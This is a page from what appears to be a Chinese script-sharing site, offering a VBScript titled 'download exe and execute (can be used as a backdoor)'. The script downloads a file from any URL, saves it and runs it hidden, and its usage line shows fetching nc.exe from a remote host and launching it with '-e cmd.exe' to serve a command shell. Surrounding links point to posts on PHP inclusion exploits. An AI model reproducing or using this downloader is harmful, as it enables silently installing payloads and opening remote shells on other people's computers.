减小字体
增大字体- ·上一篇文章：php包含漏洞的通用上传vbs程序
- ·下一篇文章：用VBS模拟NC发包
- ·百度中搜索更多的关于“下载exe并执行(带参数,可以做个后门)”相关内容
- ·谷歌中搜索更多的关于“下载exe并执行(带参数,可以做个后门)”相关内容
- ******申明******
- 本站文章内容有部分为收录网络中其他网友内容，DOS资源站不保证所有的代码都适合你使用。
- 由于编辑匆忙，有可能造成某些脚本文件出现丢失代码或代码无法运行的情况，请网友根据情况自行修改。
- 如果能将出错部分反馈给我，那就更好了。
下载exe并执行(带参数,可以做个后门)
dexec
function dexec()
If Wscript.Arguments.Count > 0 Then
overWrite = Wscript.Arguments(0)
else
WScript.Echo "Usage: cscript "&wscript.scriptname&" 1|2(overwrite) url savename.exe paramter "&chr(13)
WScript.Echo "eg:cscript "&wscript.scriptname&" 2 http://www.target.net/nc.exe nc.exe 127.0.0.1 2005 -e cmd.exe"&chr(13)
WScript.Quit( -1)
end if
set xpost = createobject("microsoft.xmlhttp")
xpost.open "get",Wscript.Arguments(1),0
xpost.send()
set sget = createobject("adodb.stream")
sget.mode = 3
sget.type = 1
sget.open()
sget.write(xpost.responsebody)
sget.savetofile Wscript.Arguments(2),overWrite
set wshshell=createobject("wscript.shell")
for i=3 to Wscript.Arguments.Count -1
cs=cs & " " &Wscript.Arguments(i)
next
wscript.echo Wscript.Arguments(2) & cs & " hide runing OK! "
a=wshshell.run (Wscript.Arguments(2) & cs ,0)
end function
